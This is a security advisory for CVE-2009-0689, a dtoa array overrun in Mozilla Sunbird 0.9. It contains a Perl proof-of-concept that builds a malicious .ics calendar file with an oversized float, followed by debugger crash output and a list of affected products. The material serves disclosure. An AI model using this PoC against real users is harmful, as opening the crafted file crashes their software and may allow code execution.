Sunbird 0.9 Array Overrun (code execution)

Risk: High
Local: Yes
Remote: Yes
CWE: CWE-119

CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[ Sunbird 0.9 Array Overrun (code execution) ] Author: Maksymilian Arciemowicz and sp3x Date: - Dis.: 07.05.2009 - Pub.: 11.12.2009 CVE: CVE-2009-0689 CWE: CWE-199 Risk: High Remote: Yes Affected Software: - Sunbird 0.9 NOTE: Prior versions may also be affected. Original URL: --- 0.Description --- Mozilla Sunbird is a cross-platform calendar application, built upon Mozilla Toolkit. Our goal is to provide you with a full-featured and easy to use calendar application that you can use around the world. --- 1. Sunbird 0.9 Remote Array Overrun (Arbitrary code execution) --- The main problem exist in dtoa implementation. Sunbird has the same dtoa as Firefox, etc. Problem exist in js3250.dll (version 4.0.0 - Netscape 32-bit JavaScript Module) DLL library and it is the same like SREASONRES:20090625. but fix for SREASONRES:20090625, used by openbsd was not good. More information about fix for openbsd and similars SREASONRES:20091030, We can create any number of float, which will overwrite the memory. In Kmax has defined 15. Functions in dtoa, don't checks Kmax limit, and it is possible to call 16<= elements of freelist array. --- 2. Proof of Concept (PoC) --- If we use Sunbird to open or import crafted "ics" file, Sunbird will crash. For example ----------------------- #!/usr/bin/perl # # sp3x # tested on WinXp SP3 my $header = "BEGIN:VCALENDAR\n". "PRODID:-// Mozilla Calendar V1.1//EN\n". "VERSION:2.0\n". "BEGIN:VTIMEZONE\n". "TZID:Europe/Prague\n". "X-LIC-LOCATION:Europe/Prague\n". "BEGIN:DAYLIGHT\n". "TZOFFSETFROM:+0100\n". "TZOFFSETTO:+0200\n". "TZNAME:CEST\n". "DTSTART:19700329T020000\n". "RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=3\n". "END:DAYLIGHT\n". "BEGIN:STANDARD\n". "TZOFFSETFROM:+0200\n". "TZOFFSETTO:+0100\n". "TZNAME:CET\n". "DTSTART:19701025T030000\n". "RRULE:FREQ=YEARLY;INTERVAL=1;BYDAY=-1SU;BYMONTH=10\n". "END:STANDARD\n". "END:VTIMEZONE\n". "BEGIN:VEVENT\n". "CREATED:20091117T095214Z\n". "LAST-MODIFIED:20091117T095217Z\n". "DTSTAMP:20091117T095214Z\n". "UID:5d0cfefe-22f6-476e-93bf-bd13df140b18\n"; my $s = "SUMMARY:0."; my $expl = "1" x 296450; my $footer = "\nDTSTART;TZID=Europe/Prague:20100111T110000\n". "DTEND;TZID=Europe/Prague:20100111T120000\n". "END:VEVENT\n". "END:VCALENDAR\n"; open(myfile,'>>test.ics'); print myfile $header.$s.$expl.$footer; ----------------------- 0:000> r eax=015e06f9 ebx=00000001 ecx=658cebec edx=00000002 esi=015e0710 edi=015e06f9 eip=600f154f esp=0012e330 ebp=0012e35c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 js3250!JS_strtod+0xb0a: 600f154f 8b01 mov eax,dword ptr [ecx] ds:0023:658cebec=???????? 0:000> ub 600f1551 js3250!JS_strtod+0xaf2: 600f1537 83c414 add esp,14h 600f153a 8b75fc mov esi,dword ptr [ebp-4] 600f153d e96bf5ffff jmp js3250!JS_strtod+0x68 (600f0aad) 600f1542 56 push esi 600f1543 57 push edi 600f1544 8b7c240c mov edi,dword ptr [esp+0Ch] 600f1548 8d0cbd08d01460 lea ecx,js3250!js_XMLClass+0x560 (6014d008)[edi*4] 600f154f 8b01 mov eax,dword ptr [ecx] 0:000> !exchain 0012fc9c: USER32!_except_handler3+0 (7e39048f) CRT scope 0, func: USER32!UserCallWinProc+10a (7e39ac2d) 0012fcf4: USER32!_except_handler3+0 (7e39048f) CRT scope 0, filter: USER32!DispatchMessageWorker+113 (7e39074a) func: USER32!DispatchMessageWorker+126 (7e390762) 0012fd5c: sunbird!jpeg_mem_term+eb7 (00849745) 0012ffb0: sunbird!jpeg_fdct_islow+266a4 (00848818) 0012ffe0: kernel32!_except_handler3+0 (7c839ac0) CRT scope 0, filter: kernel32!BaseProcessStart+29 (7c843882) func: kernel32!BaseProcessStart+3a (7c843898) Invalid exception stack at ffffffff 0:000> k ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0012e35c 600f15f3 js3250!JS_strtod+0xb0a 0012e37c 600f0ef9 js3250!JS_strtod+0xbae 0012e3f4 6010e8eb js3250!JS_strtod+0x4b4 0012e448 6010e3c6 js3250!JSLL_MinInt+0x1dcf 0012e46c 60103fb5 js3250!JSLL_MinInt+0x18aa 0012e5dc 6010195e js3250!js_Invoke+0x2c1b 0012e694 60101cb2 js3250!js_Invoke+0x5c4 0012e71c 60101e0a js3250!js_Invoke+0x918 0012e74c 6011350d js3250!js_Invoke+0xa70 0012e7a4 600e3c41 js3250!js_FindProperty+0x974 0012e7bc 004274cf js3250!JS_SetProperty+0x36 0012e978 0042593e sunbird!NS_RegistryGetFactory+0x1c585 0012ea44 6035c7f1 sunbird!NS_RegistryGetFactory+0x1a9f4 0012ea60 6035d30b xpcom_core!nsXPTCStubBase::Stub3+0x20 0012ea74 00421fde xpcom_core!XPTC_InvokeByIndex+0x27 0012ec2c 0041fe00 sunbird!NS_RegistryGetFactory+0x17094 0012ecc0 60101906 sunbird!NS_RegistryGetFactory+0x14eb6 0012ed80 60101cb2 js3250!js_Invoke+0x56c 0012ee08 60101e0a js3250!js_Invoke+0x918 0012ee38 6011350d js3250!js_Invoke+0xa70 --- 3. SecurityReason Note --- Officialy SREASONRES:20090625 has been detected in: - OpenBSD - NetBSD - FreeBSD - MacOSX - Google Chrome - Mozilla Firefox - Mozilla Seamonkey - Mozilla Thunderbird - Mozilla Sunbird - Mozilla Camino - KDE (example: konqueror) - Opera - K-Meleon - F-Lock This list is not yet closed. --- 4. Fix --- NetBSD fix (optimal): OpenBSD fix: --- 5. Credits --- Discovered by sp3x and Maksymilian Arciemowicz from --- 6. Greets --- Infospec p_e_a pi3 --- 7. Contact --- Email: - cxib {a.t] securityreason [d0t} com - sp3x {a.t] securityreason [d0t} com GPG: - -

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